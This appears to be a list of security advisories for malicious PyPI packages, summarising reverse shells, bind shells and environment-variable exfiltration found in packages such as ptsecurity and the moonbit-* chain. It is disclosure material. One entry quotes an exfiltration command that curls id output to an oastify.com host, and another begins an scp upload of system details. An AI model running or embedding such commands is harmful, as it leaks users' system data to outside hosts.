Malicious code in ptsecurity (PyPI)

The package contains code to download and execute a reverse shell script. Source: kam193 a67d1a04a247e897d3da239f3ff95a95284282eb6bb38c266273167e4419b9c1 When imported, the package download and runs a remote stage - a reverse shell. To mask activity, the remote domain is made to mimic PyPI host:...

Malicious code in proxy-check-i (PyPI)

Source: amazon-inspector 2da390c130eb840eb129a5d43faf0a64a0f0f602070243613aa0e2f8ea8f6d04 The package advertises itself as a wrapper for a 'qsshd executable' but the bundled Go binary is a reverse-SSH daemon that grants a remote operator persistent shell, exec, pty, and TCP port-forwarding on the...

Malicious code in posi (PyPI)

The package contains code to download and execute a reverse shell script. Source: kam193 9eff1140edfe020fe3ef5905579f5e5d74a8cd0638332576041513ce894eb27e When imported, the package download and runs a remote stage - a reverse shell. To mask activity, the remote domain is made to mimic PyPI host:...

Malicious code in pipinpeace-reverse (PyPI)

Source: kam193 471ba9f8dde66035e8bff446fc8acb160f041648a1fc47dd3f00db6e2ea58d08 Package is designed to start a reverse shell during installation. However, it requires providing a URL as an installation parameter, which suggests it's more research than direct malicious intentions. --- Category:...

Malicious code in pipinpeace-bind (PyPI)

Source: kam193 e78be1bf65bda1455a5f08dafdf69aef528e4fb206333e1ecb6c6a97fe8adbc2 Package is designed to start a bind shell during installation. However, it requires providing the port as an installation parameter, which suggests it's more research than direct malicious intentions. --- Category:...

Malicious code in pam98wyfupa98w (PyPI)

Source: kam193 be7177fd2d56b518724377233ca5eda13a07f6252e400cfb4c1115db456b5fd8 Importing the module starts a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-11-d1n0 Reasons based on the campaign: - The package contains code to...

Malicious code in northstart-sdk (PyPI)

Source: amazon-inspector aa58bcfb4f89faf624c1f99bb552e597cc2e061330a2e98e72e6f401bb70b4f9 The pypi package northstart-sdk 0.2.1 executes attacker-controlled code as a side effect of import northstartsdk. The top-level init.py assigns AUTODEMORESULTS = runbundledencrypteddemos, which fetches 8 byt...

Malicious code in nirohf-reverse-shell (PyPI)

Source: kam193 c2b0a9ce248bca096b5109a73b943559cabbd6f77433d4a64cd1c804f7ec88df Installing starts a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2023-12-09-nirohf-reverse-shell Reasons based on the campaign: - The package contains...

Malicious code in mymaldependency (PyPI)

Source: amazon-inspector 38372ffa2ec19cee68f769508d95ffb4f5c1878aeae058ce3e7a33b947d06cf1 MyMalDependencypackage/init.py executes on every import: it calls os.uname and os.getcwd, writes the results to./trans.txt in the installer's working directory, then invokes os.system'scp trans.txt...

Malicious code in my-test-package-2025-xyz (PyPI)

Source: kam193 a2f3ab0a3c7ef9009c99575d9dd051c4a97575435cabf5d3a4c223f53bc47b89 During installation, the package opens a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-my-test-package-2025-xyz Reasons based on the campaign: ...

Malicious code in my-package-jiecub3 (PyPI)

Source: kam193 1ec43b076f10c0f300bdde6c106bc020894f238b7b2b72e3a3c146d189bdb3a4 During installation, the package attempts to create a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-04-my-package-jiecub3 Reasons based on the...

Malicious code in myasicapi (PyPI)

Source: kam193 62067570b5217e75a025ba09e5e4f0d059439d8a7d30e056bdd501fe97e4f844 The code and related Github project promise to monitor hardware cryptominers. However, the code additionally hides two malicious capabilities functionalities: 1. acting as an attacker-controller proxy, 2. reversed she...

Malicious code in moonbit-locale-compat (PyPI)

Source: kam193 d42bb32adb1fb5f388368b9e4ab382bfbc8cd7f62dab4c70a8563a448ce9c2af Campaign includes a chain of dependencies that finally exfiltrate sensitive environment variables to a hardcoded GitHub repository as exfiltration target, and in specific environments also start a reverse shell. It...

Malicious code in moonbit-metrics-validator (PyPI)

Source: kam193 e6bb44c25db578131ec69b1c961c22f67cabb0b81aae5fe9d4620194bf8d83cc Campaign includes a chain of dependencies that finally exfiltrate sensitive environment variables to a hardcoded GitHub repository as exfiltration target, and in specific environments also start a reverse shell. It...

Malicious code in moonbit-schema-utils (PyPI)

Source: kam193 5fd7cc9fd6247802480f37b02a23faadb37c7fa5aded77358015c0861ab980e7 Campaign includes a chain of dependencies that finally exfiltrate sensitive environment variables to a hardcoded GitHub repository as exfiltration target, and in specific environments also start a reverse shell. It...

Malicious code in mirage-rce (PyPI)

Source: kam193 f9ba7e438828f3bcacd252bc54f00732b129fe6fc8f6a9909d964720ac1e6420 Setup.py contains a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-02-mirage-rce Reasons based on the campaign: - The package contains code to crea...

Malicious code in mi-test-99-tuapellido (PyPI)

Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditionally executes a shell pipeline that POSTs the output of the ...

Malicious code in mcp-runcmd-server (PyPI)

Source: kam193 2e5608c421ba44a3a2e20b924bd3399d6452dba66e7aea10a0fcdc8044f5a996 Package starts a reverse shell to a hardcoded location --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-10-mcp-runcommand-server Reasons based on the campaign: - T...

Malicious code in mcp-pdftool-plus (PyPI)

Source: kam193 2e92dea8be02288f271dacad2cd77f1bdd54596da1691cb738c4a7b7b4f77d21 When using the library, the hidden code starts a reverse shell --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-01-mcp-pdftool-plus Reasons based on the campaign: ...

Malicious code in mcp-runcommand-server (PyPI)

Source: kam193 17f8adb9e7e30e13f8656300881d4e04975f499c03c2f1dbea2e00fd86c357a5 Package starts a reverse shell to a hardcoded location --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-10-mcp-runcommand-server Reasons based on the campaign: - T...